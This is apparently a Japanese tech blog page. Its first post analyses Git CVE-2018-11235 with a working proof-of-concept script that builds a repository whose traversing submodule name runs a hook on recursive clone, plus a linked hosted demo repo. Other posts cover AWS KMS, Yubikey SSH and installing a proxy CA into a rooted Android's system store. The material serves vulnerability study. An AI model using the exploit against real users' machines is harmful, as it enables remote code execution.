試運転ブログ

コーラは一日一本まで

Gitの脆弱性(CVE-2018-11235)を雑に調べた

先日、Gitの脆弱性(CVE-2018-11235)が発表されました。

NVDのDescriptionには以下のように説明されています。

NVD - CVE-2018-11235

In Git before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1, remote code execution can occur. With a crafted .gitmodules file, a malicious project can execute an arbitrary script on a machine that runs "git clone --recurse-submodules" because submodule "names" are obtained from this file, and then appended to $GIT_DIR/modules, leading to directory traversal with "../" in a name. Finally, post-checkout hooks from a submodule are executed, bypassing the intended design in which hooks are not obtained from a remote server.

細工された.gitmoduleのあるプロジェクトをgit clone --recurse-submodulesすると、攻撃者が用意した任意のスクリプトの実行につながるとのこと。サブモジュールの名前は、.gitmoduleから取得され、名前に../使うことでディレクトリトラバーサルをすることができ、攻撃者の用意したpost-checkoutのhookが実行されてしまうようです。

この脆弱性のGitの修正コミットは以下にあります。

github.com

Credit for finding this vulnerability and the proof of concept from which the test script was adapted goes to Etienne Stalmans.

コメントにもありますが、修正コミットのテストコードにPoCが含まれています。

テストコードのPoCを参考に自分の環境で脆弱性の再現を行いました。

git/t7415-submodule-names.sh at 0383bbb9015898cbc79abd7b64316484d7713b44 · git/git · GitHub

環境

実行環境とGitのバージョンとか。

$ uname -a
Darwin MacMini 17.5.0 Darwin Kernel Version 17.5.0: Fri Apr 13 19:32:32 PDT 2018; root:xnu-4570.51.2~1/RELEASE_X86_64 x86_64
$ sw_vers -productVersion
10.13.4
$ git --version
git version 2.14.3 (Apple Git-98)

脆弱性の有無の確認方法

submodule名に../が含まれる際に弾かれるかどうかで確認可能です。

脆弱性あり

$ git --version
git version 2.14.3 (Apple Git-98)
$ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil
Cloning into '/Users/saso/tmp/bbb/fuga/test/fuga/evil'...
remote: Counting objects: 46, done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 46 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (46/46), done.

脆弱性対応済み

$ git --version
git version 2.17.1
$ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil
'../../modules/evil' is not a valid submodule name

もっと手軽に、これでエラーが出るかどうかでも確かめることができるそうです(エラーが出れば対策済み)。

git init test && \
  cd test && \
  git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules

Edward Thomson: Upgrading git for the May 2018 Security Release

悪意あるレポジトリの作成

悪意あるレポジトリは以下のようなshell scriptで作成可能です。

CVE-2018-11235.sh

#!/bin/sh

# 悪意あるsubmoduleを含んだレポジトリ用のディレクトリを作成する
mkdir evil_repo
cd evil_repo
git init

# ここで追加するのは別になんでも良い
git submodule add https://github.com/otms61/innocent.git evil

# 正常な.git/modules/evilから攻撃コードを置く用の./modules/evilを用意する
mkdir modules
cp -r .git/modules/evil modules

# hookにセットするスクリプトを用意する
echo '#!/bin/sh' > modules/evil/hooks/post-checkout
echo 'echo >&2 "RUNNING POST CHECKOUT"' >> modules/evil/hooks/post-checkout
chmod +x modules/evil/hooks/post-checkout

git add modules
git commit -am evil

# もとのPoCで設定されてたがよくわかっていない。。なくてもとりあえず動く。
git config -f .gitmodules submodule.evil.update checkout

# submoduleの名前をevilから ../../modules/evilに変更する
git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil

# .git/moduleの下に何かないとcheckoutに失敗するので、普通のやつも用意してあげる
git submodule add https://github.com/otms61/innocent.git another-module
git add another-module
git commit -am another

git add .gitmodules
git commit -am .gitmodule

簡単にですがsubmoduleの設定とhookのスクリプトについて説明を補足します。

submodule名を../../modules/evilにする

雑にコメントを書きましたが、

git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil

で、submodule 名をevilから../../modules/evilに変更しています。

git config [<file-option>] --rename-section old_name new_name

. が3連続で、ちょっとわかりにくいですが、nameの形式がsubmodule.<module名>のせいです。

.gitmoduleはこのようになっています。

$ cat evil_repo/.gitmodules
[submodule "../../modules/evil"]
    path = evil
    url = https://github.com/otms61/innocent.git
    update = checkout
[submodule "another-module"]
    path = another-module
    url = https://github.com/otms61/innocent.git

hookのスクリプトを用意する

hookのスクリプトを探すロジックを正確に確認はできていないのですが、以下のような感じだと予想しています。 hookスクリプトを探す場合、

evil_repo/.git/modules/${submodule_name}/hooks/post-checkout

に置かれたスクリプトを探してると思われますが、このsubmodule_nameを../../modules/evilとすることで、

evil_repo/.git/modules/../../modules/evil/hooks/post-checkout
# つまり以下のパス
evil_repo/modules/evil/hooks/post-checkout 

と、hookのスクリプトを.git配下から、レポジトリ上に置かれたスクリプトに向けることができます。この向き先に攻撃者がスクリプトを用意しておくことで、hookからスクリプトを実行することができます。

また、post-checkoutの内容はこのようになっています。

$ cat evil_repo/modules/evil/hooks/post-checkout
#!/bin/sh
echo >&2 "RUNNING POST CHECKOUT"

動作確認

./CVE-2018-11235.sh でローカルにevil_repoというレポジトリを作成し、これを--recurse-submodulesでcloneします。

$ ./CVE-2018-11235.sh
・・・
$ git clone --recurse-submodules evil_repo test
Cloning into 'test'...
done.
Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module'
Submodule '../../modules/evil' (https://github.com/otms61/innocent.git) registered for path 'evil'
Cloning into '/private/tmp/test/another-module'...
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0
Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'
RUNNING POST CHECKOUT
Submodule path 'evil': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'

終わりの方で、 RUNNING POST CHECKOUT と出力されていることがわかりますね!

GitHubは対策されてた。すごい!

GitHubに、上記で作成したコードをあげようとしたら弾かれてしまいました。GitHubすごい!

$ git remote add origin git@github.com:otms61/CVE-2018-11235.git
$ git push origin master
Counting objects: 47, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (34/34), done.
Writing objects: 100% (47/47), 10.53 KiB | 1.50 MiB/s, done.
Total 47 (delta 1), reused 0 (delta 0)
fatal: The remote end hung up unexpectedly
fatal: The remote end hung up unexpectedly

他のところはあげられたので、試したいという方は以下でも試すことはできます。

otameshi61 / CVE-2018-11235 / source / — Bitbucket

echoするスクリプトを置いてるだけですが、実行する場合は自己責任でお願いします。

$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1 | grep POST
RUNNING POST CHECKOUT

対策されたバージョンのgitだとこんな感じになります。スクリプトも動いてないことがわかります。

$ git --version
git version 2.17.1

$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1
Cloning into 'cve-2018-11235'...
remote: Counting objects: 46, done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 46 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (46/46), done.
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module'
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Cloning into '/Users/saso/tmp/bbb/cve-2018-11235/another-module'...
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'

感想

発見された方が以下のツイートをされていて、来週公開予定とのこと。楽しみですね。

kubernetesのGitRepo volume optionオプションで、node上のrootが取れるらしい。 www.youtube.com

今回の脆弱性は、redditが比較的盛り上がってるなぁとながめていました。 www.reddit.com

ちょっと前にあったサブモジュールの脆弱性みたいな感じでかなぁと思いつつ、ディレクトリトラバーサルからどうやって攻撃につなげるんだ?という疑問から調べていました。 サブモジュールの管理情報を.gitから外側に向けるのは鮮やかだなと感じました。

おしまい。

GoでAndroidのコマンドラインツールをビルドする方法

AndroidのRoot化端末などでコマンドラインツールを作りたい時にGoを使いたくて少しはまったので、その時のメモです。

ビルドするマシンは、macOS 10.13.4で、動作確認するAndroidは、HUAWE MediaPad M5のAndroid 8.0.0です。

package main

import "fmt"

func main() {
  fmt.Printf("Hello World\n")
}

ビルドするときのオプションで、armを指定します。クロスコンパイル時にはCGOデフォルトで切られているそうですが、オプションでも指定しておきます。

cgo - The Go Programming Language

$ GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=0 go build
$ ls
hello   main.go
$ file hello
hello: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped
$ adb push hello /data/local/tmp/
[100%] /data/local/tmp/hello
$ adb shell /data/local/tmp/hello
Hello World
$

AWS KMSをさわってみた

AESなどの対称鍵暗号でデータを暗号化すると、データを読み取ることができる対象を鍵を知ってるものだけにすることができる。 そのため、何かのデータを暗号化したとき、暗号化に使用した鍵がどのように管理されているかはとても重要となります。

鍵管理は、ファイルのパーミッションで読めるuserを制限したりすることが多いですが、Amazonの提供するAWS KMSというサービスを用いて鍵管理(データキーを生成、暗号化、復号)を行ってみます。

主に以下のページを参考にしました。サンプルコードでは、エンベロープ暗号化と呼ばれているものを試しています。

docs.aws.amazon.com

AWSAPI呼び出しはpythonのbotoというライブラリを使った。

github.com

KMSでキーの作成と、アカウントに権限付与などは以下のリンクを参考にした。

dev.classmethod.jp

キー生成と暗号化

AES周りは今回はあまり重要じゃないので、ブロック長ぴったし(16バイト)の文字列を1ブロック暗号化する。鍵にはAWS KMSで生成した値を使用する。

#!/usr/bin/env python
import base64
from boto import kms
from Crypto.Cipher import AES

conn = kms.connect_to_region('us-east-1')
arn = 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222'

data_key = conn.generate_data_key(arn, key_spec='AES_128')
print(data_key)

# 16 bytes
plaintext = b'Hello, World!!!!'

encrypter = AES.new(data_key['Plaintext'])
encrypted_data = base64.b64encode(encrypter.encrypt(plaintext))

print(encrypted_data)

※ botoは、 ~/.boto からAPIの認証情報を読み込んでる。

出力

{'CiphertextBlob': b"\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0", 'KeyId': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222', 'Plaintext': b'\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07'}

b'2kvkQDMonVYyv3TAwsMbiw=='

data_keyは整形すると、

{
    "CiphertextBlob": "\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0",
    "KeyId": "arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222",
    "Plaintext": "\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07"
}

AES の鍵長 128bitで鍵を生成すると、CiphertextBlogとKeyIdとPlainTextが返ってきます。

暗号化の鍵にはPlaintextの値を使用します。鍵長が128bitのオプションで生成しているので16バイト(=128bit)なことも確認できます。Plaintextは、暗号化に使用後に保持しません(むしろ保持したらKMS使う意味がない)。 CiphertextBlobは、PlaintextをAWS KMSのマスターキー(KeyIdに紐づく鍵)で暗号化した値となっていて、この値を保持しておきます。暗号文を復号するときに鍵は、CiphertextBlobをマスターキーで復号して鍵を取り出します。

KMSの説明されているサイトで使用されている画像との対応関係は、

f:id:otameshi61:20180108191930p:plain

https://docs.aws.amazon.com/ja_jp/kms/latest/developerguide/concepts.html

  • Plaintext data: Hello, World!!!!
  • Encrypted data: 2kvkQDMonVYyv3TAwsMbiw==
  • Data Key: Plaintext
  • Encrypted data key: CiphertextBlob

となっています。

CiphertextBlobから鍵を取り出すには、このKeyIdにアクセスを許可されているAWSAPIキーでしか読み出せません。APIキーの作成などは最初の方に書いたブログを参照してください。キーの作成や無効化などはAWSコンソールでぽちぽちしてたら行えます。

マスターキーに対しても、無効化させておくことなども可能です。有事の際や、普段は絶対に使わない情報などは暗号化後に鍵を無効化しておくなどの使い方があるかと思います。

AWSでCloudTrailを有効にしていると、APIの呼び出しで以下のようなログを取ることができます(適当に一部を切り出しています)。記録されるAPI一覧をぱっとみましたが、だいたい重要なもの(たぶん全部...?)はカバーされているようにみえました。 なので、鍵の使用形跡などをログから読み取ることができます。

{
  "eventVersion": "1.05",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "saso"
  },
  "eventTime": "2018-01-08T09:32:33Z",
  "eventSource": "kms.amazonaws.com",
  "eventName": "GenerateDataKey",
  "awsRegion": "us-east-1",
  "userAgent": "Boto/2.48.0 Python/3.6.1 Darwin/16.7.0",
  "requestParameters": {
    "keySpec": "AES_128",
  },
  "responseElements": null,
  "readOnly": true,
  "eventType": "AwsApiCall",
  "recipientAccountId": "071542545104"
}

AWS KMSを使って鍵を管理する強みは、鍵自体の管理だけでなく、他のAWSの機能と同等にAPIキーの管理、ログ収集もできるあたりかなと思います。

復号

復号できることも確認します。

#!/usr/bin/env python
import base64
from boto import kms
from Crypto.Cipher import AES

conn = kms.connect_to_region('us-east-1')
arn = 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222'

ciphertext_blob = b"\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0"

data_key = conn.decrypt(ciphertext_blob)
print(data_key)

# 16 bytes
encrypted = base64.b64decode(b'2kvkQDMonVYyv3TAwsMbiw==')

decrypter = AES.new(data_key['Plaintext'])
decrypted = decrypter.decrypt(encrypted)

print(decrypted)

出力

{'KeyId': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222', 'Plaintext': b'\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07'}
b'Hello, World!!!!'

data_keyは以下の値になっている。

{
    "KeyId": "arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222",
    "Plaintext": "\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07"
}

また、このKeyIdをdisableにすると以下のようなエラーが返ってくる。

boto.kms.exceptions.DisabledException: DisabledException: 400 Bad Request
{'__type': 'DisabledException', 'message': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222 is disabled.'}

まとめ

AWS KMSを使ってエンベロープ暗号化と呼ばれている暗号化・復号を試してみた。鍵を管理するぞ!、という気持ちになったときに直感的に必要な機能が用意されている印象だった。 鍵へのアクセスが、ちゃんとログとして出力されるのは、個人的には一番良いなと感じた。

参考リンク

他にも以下のようなリンクを参考にしました。

docs.aws.amazon.com

Envelope Encryption using AWS KMS, Python Boto, and PyCrypto. · GitHub

AndroidのプレインストールされたCAにCAを追加する

Android 7以降からCAの扱いが代わり、デフォルトではユーザが追加したカスタムのCAはアプリ毎に設定を書かないと信頼されなった。 システムにプレインストールされたCAは制限することも可能だが、基本的には信頼されている。 以下は、Root化された端末にプレインストールされたCAとして、カスタムのCAを追加する手順メモです(プレとは?)。

android-developers.googleblog.com

自己責任&悪用厳禁でお願いします。

環境

・検証環境

OS: LineageOS 14.1
Android version: 7.1.2
Device model: Nexus7

追加するのはProxyツールのBurp Suiteの証明書。

❯ openssl x509 -inform DER -in cacert.der -text -noout 
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1402072607 (0x5391ee1f)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA
        Validity
            Not Before: Jun  6 16:36:47 2014 GMT
            Not After : Jun  6 16:36:47 2037 GMT
        Subject: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:a2:43:8d:b6:91:10:bc:f9:ea:d9:d3:0c:39:d5:
                    34:11:dd:ed:d6:0e:76:41:57:85:b0:0d:c6:26:60:
                    2b:1d:a3:2a:d6:b1:f6:58:fe:3d:9a:70:91:fd:4e:
                    99:61:84:14:46:3f:22:f4:4e:8a:01:c2:3d:36:1a:
                    50:2b:17:84:0d:1d:53:8f:ff:ed:15:86:77:4d:6c:
                    80:c2:3c:12:46:5f:18:08:f9:53:f5:ff:f6:55:2b:
                    09:96:bd:a3:e9:11:d5:0f:fd:11:15:37:28:17:d8:
                    fa:6a:bb:cc:50:65:13:fa:15:99:10:77:06:12:02:
                    01:a4:ea:9c:3c:86:e2:00:6c:71:c6:a9:6c:88:17:
                    5e:2e:f9:29:2c:97:94:4b:94:7c:23:94:78:bf:23:
                    18:18:a3:29:56:9f:5a:90:e1:a3:8f:2d:48:e9:fb:
                    11:ac:f9:80:ce:cf:80:a4:37:89:1a:1f:4c:96:fa:
                    77:d7:fa:da:69:f4:ac:f6:01:16:ea:29:25:4f:50:
                    16:cc:fe:10:f2:70:de:77:f2:e7:96:6c:00:3e:6e:
                    37:b9:59:d8:8c:cc:62:da:74:10:b6:6e:a1:df:c5:
                    d6:3d:85:9d:6b:66:4c:d9:db:4b:c2:87:80:57:c2:
                    1f:80:44:89:04:8a:61:87:c6:69:1f:00:e6:37:0f:
                    7b:d1
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: critical
                CA:TRUE, pathlen:0
            X509v3 Subject Key Identifier:
                34:98:2B:45:74:9A:D6:56:55:64:CE:DA:62:FD:45:0C:4C:3A:D3:57
    Signature Algorithm: sha256WithRSAEncryption
        9e:2a:ad:2b:26:cf:80:ec:b5:1d:c5:95:05:9e:81:3c:69:4e:
        3f:45:f8:ed:32:ce:ae:a3:b6:a3:33:5b:30:49:bd:87:07:32:
        be:e5:5a:12:0d:9b:31:38:95:3d:6a:33:cc:04:f7:eb:92:70:
        76:ea:e7:f4:5c:8e:2d:b6:d1:28:15:0d:27:00:69:fe:3c:e9:
        76:26:e6:b1:f8:14:94:51:80:1e:2a:a1:ab:fa:9b:e1:f3:b6:
        c3:38:0b:43:82:3f:31:9b:fa:50:a5:e2:26:4b:6b:2f:6a:4c:
        9f:c6:4b:07:06:fb:ed:65:6e:78:35:77:17:28:35:00:73:77:
        7f:f2:c8:1e:3b:f6:39:00:c2:bd:f3:38:c8:e3:20:8e:ce:ab:
        3c:d6:ce:d6:ea:4e:01:af:32:42:62:e2:e2:a6:3b:3d:0e:7d:
        93:bb:ee:ab:02:f6:09:54:d7:aa:06:69:87:77:c2:0b:5c:94:
        bf:56:83:e4:09:2f:af:aa:92:3c:42:6b:39:3f:a9:97:55:c1:
        08:37:b3:05:d9:70:de:fa:86:fc:b3:0c:89:31:49:20:1b:83:
        e2:8f:cc:e9:9d:d4:76:40:63:9f:08:de:a9:d8:27:1c:cb:59:
        de:ec:84:a0:fa:e9:e5:3f:07:c6:a2:ab:96:a0:34:dc:25:e6:
        25:19:85:01

カスタムCAの用意

subject_hashの値をとる。

❯ openssl version
OpenSSL 0.9.8zh 14 Jan 2016
❯ openssl x509 -noout -subject_hash -in cacert.der -inform DER
9a5ba575

OpenSSLのバージョンが1.0.0以降の場合は、 -subject_hash ではなく、 -subject_hash_old を使うらしい。

PEMフォーマットに変換し、ファイル名を(subject_hashの値 + .0 )で保存する。

❯ openssl x509 -inform DER -in cacert.der -outform PEM > 9a5ba575.0

AndroidにカスタムCAを追加する

AndroidのプレインストールされたCAは、 /system/etc/security/cacerts に置かれている。ただここに置けば良い。

ただし、最初は /system はread onlyでマウントされているので注意する。

❯ adb push ./9a5ba575.0 /data/local/tmp
[100%] /data/local/tmp/9a5ba575.0

❯ adb shell
flo:/ $ su
flo:/ # mount -o rw,remount /system
flo:/ #mv /data/local/tmp/9a5ba575.0 /system/etc/security/cacerts/

設定 → セキュリティ → 信頼できる認証情報 から確認できる。 再起動した方が良いという情報もあったが、手元の環境では再起動しなくても追加され使用できた。

フィアル名がsubject_hashと異なる値でもUI上には表示されるが参照されないようだった。

まとめ

Burpのルート証明書Androidのプレインストールされているフォーマットやファイル名を合わせてインストールした。

開発者がこのようなCAを拒否したい場合は、ネットワーク セキュリティ構成機能を使いプレインストールされたCAに対しても制限がかけることができる。 developer.android.com

YubikeyのPIVを使ってsshしてみる

YubikeyのPIVが気になったのでsshでの使い方を試してみたメモ。 PIV自体については何もわからない。

Yubikeyとはこんな感じのもの。

f:id:otameshi61:20161230002407j:plain

Yubikey PIV Manager をここから落とす。

https://developers.yubico.com/yubikey-piv-manager/Releases/

webサイトでは、以下のコマンドラインツールを使って説明される。

github.com

ただし、macOS上では(たぶん他のOSでも)、ビルドが非常に面倒(./configureが成功してからが勝負)で、ビルドできたとしてもwebサイト通り使っても動作しないため、今回は使わない。 とはいえ、コマンドラインからしか指定できないオプションもあるため、なんとかはしたい。

現時点でのPIVに対する認識は、PKCS#11 で定義されたインターフェースを通じてデバイス内の秘密鍵(今回はYubikey内の秘密鍵)へアクセスし、認証を行うやつ、くらいです。

ここら辺を読むとPIVのプロになれるっぽい。

csrc.nist.gov

秘密鍵を生成する

PIV Manager → Certificates を選ぶ。

f:id:otameshi61:20170521132803p:plain

Authentication → Generate new key…

f:id:otameshi61:20170521132934p:plain

設定してOKをする

f:id:otameshi61:20170521133322p:plain

PIN(6〜8桁の文字)を入力する。

f:id:otameshi61:20170521133237p:plain

これでYubikeyの設定完了。

f:id:otameshi61:20170521133815p:plain

Export certificate… と Delete certifiacte… が選択できるようになる。

Exportした証明書をみてみるとこんな感じ。

❯ openssl x509 -in yubikey_piv.pem  -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            cd:6f:bb:37:07:b4:d0:7f
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=saso
        Validity
            Not Before: May 21 04:36:59 2017 GMT
            Not After : May 21 04:36:59 2018 GMT
        Subject: CN=saso
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:95:6c:78:ac:c5:56:73:bb:73:9b:c8:fa:04:2f:
                    32:ad:95:1a:96:ae:4e:41:5a:8d:09:6a:c9:d9:0e:
                    fb:2f:37:fc:9e:81:ac:91:59:9d:59:52:92:d4:d9:
                    d2:38:96:a9:3d:ed:88:ad:ee:a3:fd:a4:84:de:71:
                    7f:ee:65:50:75:32:72:aa:75:c2:ca:95:2c:9e:a5:
                    ca:4c:cd:0b:3b:0b:d1:f9:58:00:5d:aa:ce:ec:30:
                    4b:42:57:f0:ec:92:34:9b:67:96:f5:8d:79:13:8b:
                    c9:bf:2e:a5:8c:99:58:34:43:15:8a:3b:76:88:45:
                    b0:8f:da:52:bc:8c:73:fb:1c:cd:05:47:34:6a:bb:
                    47:09:e9:8a:a4:cf:bb:58:ae:a7:60:3b:1c:cc:93:
                    98:fd:b3:9c:67:ee:44:0d:ce:dc:6e:c4:31:fe:c7:
                    c7:98:dc:9b:e2:e0:b5:88:da:2e:e5:20:3f:73:c5:
                    2d:b4:7b:86:71:d1:81:8b:9e:83:04:46:ad:84:83:
                    5e:41:53:75:ae:29:b2:b7:5a:33:22:0c:bf:fa:8d:
                    a2:ae:52:05:ae:e2:55:7c:4b:ee:41:38:e8:48:19:
                    7c:67:c0:09:45:21:b5:ab:c0:aa:33:44:c0:28:4d:
                    6e:36:53:2a:e0:5e:af:5b:b3:d6:63:9a:84:7a:39:
                    2a:2d
                Exponent: 65537 (0x10001)

PIVを使ってsshする

Yubikey内の秘密鍵へアクセスするためには、OpenSCというオープンソースPKCS#11の実装を使う。

github.com

以下のコマンドで公開鍵を読み出せる。

❯ ssh-keygen -D /usr/local/opt/opensc/lib/opensc-pkcs11.so -e
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVbHisxVZzu3ObyPoELzKtlRqWrk5BWo0JasnZDvsvN/yegayRWZ1ZUpLU2dI4lqk97Yit7qP9pITecX/uZVB1MnKqdcLKlSyepcpMzQs7C9H5WABdqs7sMEtCV/DskjSbZ5b1jXkTi8m/LqWMmVg0QxWKO3aIRbCP2lK8jHP7HM0FRzRqu0cJ6Yqkz7tYrqdgOxzMk5j9s5xn7kQNztxuxDH+x8eY3Jvi4LWI2i7lID9zxS20e4Zx0YGLnoMERq2Eg15BU3WuKbK3WjMiDL/6jaKuUgWu4lV8S+5BOOhIGXxnwAlFIbWrwKozRMAoTW42UyrgXq9bs9ZjmoR6OSot

公開鍵をログインしたい.ssh/authrorized_keysに追加する。

❯ ssh -I /usr/local/opt/opensc/lib/opensc-pkcs11.so test@ub.local
Enter PIN for 'PIV_II (PIV Card Holder pin)':

Last login: Sun May 21 13:06:18 2017 from 192.168.56.1
test@ubuntu:~$

PINを入力することでログインできる。

まとめ

YubikeyがサポートしているPIVを使って見た。

GUIでぽちぽちやってるだけで、基本的な設定が可能で、秘密鍵を安全に管理可能なのはよさそう。 また、sshで使うために特別大変な手順もなくて良い。

PINの入力を無くし、Yubikeyのタッチに変えられるらしいし試したい。

一部で話題のkryptcoも同様の仕組みを使っているし、何か違いがあるのか比較してみたい。 kryptcoは、以下に詳しく説明されている。 qiita.com

劇的にコマンドライン環境が快適になるpetのfishサポートをした話

前に使ったコマンドを実行したいとき、どうしてますか?

普段はfishを使ってるのですが、前に実行したコマンドを再度実行したい場合は、 peco_select_historyctrl+r で呼び出すようにしています。 そもそも、fishの補完が優秀なので使うまでもないことは多いです。

bashzshを使うときは組み込みの ctrl+r を使っていました。

慣れていれば、特に困りもしないのですが、pet という便利なスニペット管理ツールを使いはじめるとかなりコマンドライン環境が快適になりました!

macOSならbrewで簡単にはいります。

$ brew install knqyf263/pet/pet

基本的な使い方は、ツール作成者(Teppei Fukudaさん)のブログを見てください。

qiita.com

特に困ってなかったので、入れるかどうかも悩んでたんですが、READMEに書いてあるshellの設定をしてから見方がだいぶ変わりました。 ただし、READMEのzshの設定ではfishで動かなかったため、fisheroh-my-fish を使って設定できるようにしました。プラグイン管理ツールを使ってない人は雰囲気で ~/.config/fish/functions/スクリプト置けば動くと思います。

※ 現在は、以下の方法をpetのREADMEでも紹介してもらってます!ありがとうございます!

github.com

fisher を使うと、以下のコマンドでインストールできます。

$ fisher otms61/fish-pet

oh-my-fish を使っている場合は、以下のコマンドでインストールできます。

$ omf install https://github.com/otms61/fish-pet

コマンドラインで、 prevpet-select が使えるようになります。

fish_user_key_bindings を以下のように設定(layoutオプションはお好みで)すると、 ctrl+s で、 pet-select を呼び出すようにできます。

function fish_user_key_bindings
  bind \cs 'pet-select  --layout=bottom-up'
end

fishユーザの方は、ぜひ!

二要素認証に使われてるYubico OTP の仕組み

2要素認証に利用できるデバイスに、Yubico社が提供するYubikeyというものがあります。

f:id:otameshi61:20161230002407j:plain

Yubikeyでは様々な機能を使えますが、初期状態で利用できるものにYubico OTP(One-Time password)があります。 Yubico OTPは、非常に安全な仕組みだと思いますが、公式ドキュメントがやや分かりづらいこともあり書きました。

Yubico OTPとは

Yubico OTP は、Yubicoが定めるOTP(One-Time Password)の形式であり、Yubikeyから正常に生成されたOTPかどうかを検証することができます。

